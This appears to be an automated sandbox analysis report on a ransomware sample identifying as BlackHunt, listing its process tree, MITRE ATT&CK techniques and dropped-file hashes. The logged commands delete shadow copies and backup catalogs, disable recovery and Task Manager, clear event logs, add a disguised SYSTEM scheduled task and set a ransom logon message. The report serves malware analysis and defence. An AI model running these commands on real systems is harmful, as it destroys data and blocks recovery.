- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2208
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe" /F
  2⤵
  PID:1632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1312
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2256
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1928
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2984
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2100
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2272
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:324
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:548
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1104
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:652
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1748
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:4048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2236
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:1540
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2836
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1740
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:340
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3580
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2488
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3488
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:852
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:720
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2200
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:228
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1508
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1536
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2900
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:1996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2152
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1940
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3228
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe"
  2⤵
  - Deletes itself
  PID:1196
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2884

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1093156197-1685217533-1193250938117168178112965689896445812181629829438-112077009"
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:1880

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-866886269-286733026157981736228694697147046876275394198518405446331317744326"
1⤵
PID:1844

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3832

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3340

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2996

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
51d9a948c2b284973de7d10c6823fa45

SHA1
ac7593515157ca3b97f6f9d55f7edda93acb279a

SHA256
da411b6500e60008e8dffa825dbb7c38c1d4ee37ae60b97f60fbc449f0aa6403

SHA512
6061a3de65086cfdb995e8446bd9f7057833f92582f1c8a57fbd3d9bff0906e1779380e69afeeb443a5ff49889aa3733be637ea1eb34dba239eb62a75d27892e

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
24545cbe0b7d36fd23492cacc61de7e4

SHA1
89f829a4cbcf7da51d4fb72b8e5ec6c605374c5e

SHA256
078b8d0169718df70a3df359e243e63e40cf78fb4ad15b40e3c9d45f4889f560

SHA512
f7c12d613909011dde9b6ccc32d9adfcec0b3367c284904489b576ebb9aed7872a20fcef10e76d3be66896c495d13227ab921ede7c1ce2aeca52da9a1e33e701

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
dad894a841ac3f94ea1d46ed90ea8ff9

SHA1
293d65112eed81c8af5c4aa7f09f8894ba6be3fb

SHA256
9d153b934bfdc720d5ad933868de35388d5893fc127ea4f918fef6b69a44219d

SHA512
6bcc817fedd3e44c781dae066084f08844011a34d8193315c582bcf568b76bdb465d9665cef176bd33df3a59277416eaeb9eb72b106ee4cd1b89d496e8d6348d

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads